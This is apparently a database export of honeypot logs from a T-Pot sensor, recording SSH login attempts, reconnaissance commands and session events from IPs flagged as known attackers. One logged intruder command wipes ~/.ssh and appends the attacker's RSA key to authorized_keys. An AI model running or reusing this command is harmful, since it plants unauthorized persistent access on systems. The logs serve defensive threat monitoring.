"voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	HK
34394	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:23.363707+03	2021-09-20 15:15:01.837144+03	{"_id": "RgYUA3wBvYTbRNuEJVVO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.session.params", "message": [], "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:23.363707Z", "@timestamp": "2021-09-20T12:00:23.363Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
34395	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:24.13558+03	2021-09-20 15:15:01.838146+03	{"_id": "RwYUA3wBvYTbRNuEJVVO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "81.70.175.230", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "318d499fe0dd", "@version": "1", "duration": 0.7719588279724121, "duplicate": true, "timestamp": "2021-09-20T12:00:24.135580Z", "@timestamp": "2021-09-20T12:00:24.135Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
34396	150.109.115.128	109.199.241.180	Suricata	2021-09-20 15:00:23.870446+03	2021-09-20 15:15:01.839145+03	{"_id": "SgYUA3wBvYTbRNuEJlV0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "150.109.115.128", "dest_ip": "192.168.20.116", "flow_id": 967443394063054, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59438, "dest_port": 22, "timestamp": "2021-09-20T12:00:23.870446Z", "@timestamp": "2021-09-20T12:00:23.870Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	HK
34397	150.109.115.128	109.199.241.180	Fatt	2021-09-20 15:00:23.876274+03	2021-09-20 15:15:01.840145+03	{"_id": "SwYUA3wBvYTbRNuEJ1V8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "150.109.115.128", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 59438, "dest_port": 22, "timestamp": "2021-09-20T12:00:23.876274", "@timestamp": "2021-09-20T12:00:23.876Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	HK
34398	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:24.545683+03	2021-09-20 15:15:01.842145+03	{"_id": "TQYUA3wBvYTbRNuEKVU3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:24.545683Z", "@timestamp": "2021-09-20T12:00:24.545Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
34399	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:25.507941+03	2021-09-20 15:15:01.843144+03	{"_id": "UQYUA3wBvYTbRNuELVUf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.session.params", "message": [], "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:25.507941Z", "@timestamp": "2021-09-20T12:00:25.507Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
34400	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:26.475659+03	2021-09-20 15:15:01.845146+03	{"_id": "VgYUA3wBvYTbRNuEMVUJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "81.70.175.230", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "318d499fe0dd", "@version": "1", "duration": 0.9678032398223877, "duplicate": true, "timestamp": "2021-09-20T12:00:26.475659Z", "@timestamp": "2021-09-20T12:00:26.475Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
34401	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:26.872797+03	2021-09-20 15:15:01.846145+03	{"_id": "VwYUA3wBvYTbRNuEMVUJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.session.params", "message": [], "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:26.872797Z", "@timestamp": "2021-09-20T12:00:26.872Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
34402	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:23.663787+03	2021-09-20 15:15:01.847145+03	{"_id": "RQYUA3wBvYTbRNuEJVVO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "0d7a3ca251c6", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:00:23.663787Z", "@timestamp": "2021-09-20T12:00:23.663Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	HK
34403	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:23.364256+03	2021-09-20 15:15:01.848146+03	{"_id": "SQYUA3wBvYTbRNuEJVVO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:23.364256Z", "@timestamp": "2021-09-20T12:00:23.364Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
34404	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:24.545136+03	2021-09-20 15:15:01.849145+03	{"_id": "TAYUA3wBvYTbRNuEKVU3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.session.params", "message": [], "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:24.545136Z", "@timestamp": "2021-09-20T12:00:24.545Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
34405	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:24.8269+03	2021-09-20 15:15:01.851145+03	{"_id": "TgYUA3wBvYTbRNuEKVU3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.login.failed", "message": "login attempt [knockknockwhosthere/knockknockwhosthere] failed", "session": "0d7a3ca251c6", "@version": "1", "password": "knockknockwhosthere", "username": "knockknockwhosthere", "timestamp": "2021-09-20T12:00:24.826900Z", "@timestamp": "2021-09-20T12:00:24.826Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	HK
34406	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:26.037692+03	2021-09-20 15:15:01.852145+03	{"_id": "UgYUA3wBvYTbRNuELVUf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "0d7a3ca251c6", "@version": "1", "duration": 2.3742709159851074, "timestamp": "2021-09-20T12:00:26.037692Z", "@timestamp": "2021-09-20T12:00:26.037Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	HK
34407	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:26.472638+03	2021-09-20 15:15:01.853144+03	{"_id": "VAYUA3wBvYTbRNuEMVUJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "src_ip": "81.70.175.230", "eventid": "cowrie.session.file_download", "message": "Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "outfile": "dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "session": "318d499fe0dd", "@version": "1", "destfile": "/home/admin1/.ssh/authorized_keys", "duplicate": true, "timestamp": "2021-09-20T12:00:26.472638Z", "@timestamp": "2021-09-20T12:00:26.472Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download	\N	known attacker	CN
34408	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:26.873343+03	2021-09-20 15:15:01.855144+03	{"_id": "WwYUA3wBvYTbRNuEMVUJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:26.873343Z", "@timestamp": "2021-09-20T12:00:26.873Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
34409	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:26.365207+03	2021-09-20 15:15:01.856145+03	{"_id": "VQYUA3wBvYTbRNuEMVUJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:26.365207Z", "@timestamp": "2021-09-20T12:00:26.365Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	HK
34410	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:27.204073+03	2021-09-20 15:15:01.857144+03	{"_id": "WAYUA3wBvYTbRNuEMVUJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:27.204073Z", "@timestamp": "2021-09-20T12:00:27.204Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	HK
34411	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:28.388284+03	2021-09-20 15:15:01.858146+03	{"_id": "YwYUA3wBvYTbRNuEOFXZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.session.params", "message": [], "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:28.388284Z", "@timestamp": "2021-09-20T12:00:28.388Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
34412	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:28.388819+03	2021-09-20 15:15:01.860146+03	{"_id": "ZgYUA3wBvYTbRNuEOFXZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:28.388819Z", "@timestamp": "2021-09-20T12:00:28.388Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
34413	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:29.44241+03	2021-09-20 15:15:01.861146+03	{"_id": "awYUA3wBvYTbRNuEPFXB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:29.442410Z", "@timestamp": "2021-09-20T12:00:29.442Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	HK
34414	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:30.990365+03	2021-09-20 15:15:01.862144+03	{"_id": "hQYUA3wBvYTbRNuEQFWt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:30.990365Z", "@timestamp": "2021-09-20T12:00:30.990Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	HK
